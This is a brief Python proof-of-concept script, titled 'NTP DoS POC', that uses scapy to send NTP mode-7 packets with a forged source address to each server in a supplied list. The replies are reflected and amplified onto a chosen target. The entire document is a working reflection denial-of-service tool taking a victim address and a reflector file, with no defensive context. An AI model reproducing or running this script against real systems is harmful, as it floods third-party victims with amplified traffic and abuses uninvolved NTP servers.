NTP DoS POC

#!/usr/bin/env python
# author: pangzi.me@gmail.com
# http://drops.wooyun.org/papers/926
 
import sys
from scapy.all import *
 
def attack(target, ntp_server):
  send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
 
if __name__ == "__main__":
  if len(sys.argv) != 3:
    sys.exit(1)
 
  target = sys.argv[1]
  ntp_server_file = sys.argv[2]
  for ntp_server in open(ntp_server_file, "r"):
    ntp_server = ntp_server.strip()
    if ntp_server != "":
      attack(target, ntp_server)